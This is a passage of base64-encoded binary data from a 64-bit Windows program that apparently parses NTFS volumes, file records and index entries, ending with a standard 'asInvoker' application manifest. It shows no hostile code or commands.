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AALDrAYABAAAAsOsBgAEAAACw6wGAAQAAALDrAYABAAAAsOsBgAEAAACw6wGAAQAAAMB6AYABAAAAwnwBgAEAAAAAAAAAAAAAAADsAYABAAAAAAAAAAAAAAAA7AGAAQAAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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BACBJAACXSQAAQJwBAKBJAAAhSgAAQJwBADBKAACxSgAAQJwBAMBKAAD5SgAAQJwBAABLAADsTQAAAKkBAPBNAACPTgAA0KgBAJBOAAB6UQAAZKgBAIBRAAAVUgAANKgBACBSAADVUgAABKgBAOBSAADTUwAA2KcBAOBTAAAPVAAAQJwBABBUAAA/VAAAQJwBAEBUAACLVAAAQJwBAJBUAADdVAAAQJwBAEhVAABpVQAAnJwBAGxVAACNVQAAnJwBAJBVAACxVQAAnJwBALRVAADVVQAAnJwBAPBVAAApVgAAQJwBACxWAABbVgAAQJwBAFxWAACfVgAATJwBAKBWAADWVgAATJwBANhWAAAOVwAATJwBADBXAABPVwAAWJwBAGBXAABEXAAAYJwBAERcAACHXAAAnJwBAIhcAACSXQAAbJwBAJRdAACrXQAAZJwBAKxdAADgXQAAZJwBAOhdAAAGXgAAZJwBAAheAABBXgAAQJwBAEReAACtXgAAPJ0BALBeAAD2XgAApJwBAPheAACgXwAAnJwBAKBfAABvYAAArJwBAHhgAADBYAAAnJwBAMRgAACVYQAATKYBAJhhAACrYQAAZJwBAKxhAABHYgAAuJwBAEhiAACsYgAAwJwBAKxiAAAJYwAA7JwBAAxjAABWYwAAFJ0BAFhjAADXYwAAPJ0BANhjAACJZAAARJ0BAKBkAAAdZQAAWJ0BADxlAACbZgAAXJ0BAJxmAADZZgAAtKcBANxmAAD8ZwAAfJ0BABBoAAC4aAAAqJ0BALhoAACXaQAArJ0BAJhpAABhagAANJ4BAGRqAACQawAAGJ4BAJBrAAAkbAAAuJ0BACRsAADFbAAAXJ4BAMhsAAAZbQAA8J0BABxtAABfbQAAnJwBAGBtAAC+bQAAQJwBAMBtAADVbQAAZJwBANhtAADtbQAAZJwBAPBtAAAibgAAnJwBACRuAAA/bgAAnJwBAEBuAABbbgAAnJwBAFxuAADRbwAAzJ0BANRvAABbcAAATJ4BAFxwAACJcAAAnJwBAKhwAADScAAAnJwBAORwAAAocQAAQJwBAChxAABhcQAAQJwBAGRxAAC+cQAAcJ4BAMBxAADncQAAnJwBAPxxAAACcwAAgJ4BAARzAABFcwAAnJwBAEhzAABecwAAnJwBAGBzAACmdAAAQJwBAKh0AADOdAAAnJw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